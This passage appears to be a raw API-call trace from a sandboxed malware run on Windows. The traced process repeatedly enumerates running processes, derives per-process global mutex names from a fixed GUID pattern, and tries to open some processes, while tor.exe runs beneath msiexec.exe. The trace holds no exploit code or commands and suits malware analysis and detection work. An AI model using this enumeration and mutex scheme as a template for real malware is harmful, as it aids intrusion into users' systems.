th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.110] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0116.110] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0116.110] GetLastError () returned 0x0 [0116.110] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0116.110] CloseHandle (hObject=0x13e0) returned 1 [0116.110] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0116.111] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0116.111] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0116.112] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0116.113] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0116.114] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0116.115] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0116.115] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0116.116] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0116.117] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0116.118] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0116.190] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0116.191] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0116.192] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0116.193] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0116.194] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0116.194] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0116.195] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0116.196] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0116.197] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0116.198] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0116.198] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.199] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0116.200] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.201] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0116.202] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0116.202] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0116.203] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0116.204] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0116.205] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.205] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0116.206] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0116.206] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0116.206] GetLastError () returned 0xb7 [0116.206] CloseHandle (hObject=0x13e0) returned 1 [0116.206] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0116.207] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0116.208] CloseHandle (hObject=0x13d8) returned 1 [0116.208] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0116.368] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13e0 [0116.417] Process32FirstW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.418] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0116.419] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0116.420] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.420] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0116.421] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.422] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0116.423] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0116.423] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0116.424] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0116.425] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.426] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.426] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.427] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.428] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.429] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0116.430] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.431] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.432] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0116.433] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.433] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.434] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0116.434] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0xef8 [0116.434] GetLastError () returned 0xb7 [0116.434] CloseHandle (hObject=0xef8) returned 1 [0116.434] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0116.435] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0116.435] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0xef8 [0116.435] GetLastError () returned 0xb7 [0116.435] CloseHandle (hObject=0xef8) returned 1 [0116.435] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0116.436] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.437] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0116.437] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0xef8 [0116.437] GetLastError () returned 0x0 [0116.437] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0116.437] CloseHandle (hObject=0xef8) returned 1 [0116.437] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.438] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0116.438] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0xef8 [0116.438] GetLastError () returned 0x0 [0116.438] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0116.438] CloseHandle (hObject=0xef8) returned 1 [0116.438] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.439] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0116.439] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0xef8 [0116.439] GetLastError () returned 0xb7 [0116.439] CloseHandle (hObject=0xef8) returned 1 [0116.439] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.440] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0116.440] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0xef8 [0116.440] GetLastError () returned 0x0 [0116.440] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0116.440] CloseHandle (hObject=0xef8) returned 1 [0116.440] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0116.440] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0116.441] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0116.442] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0116.443] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 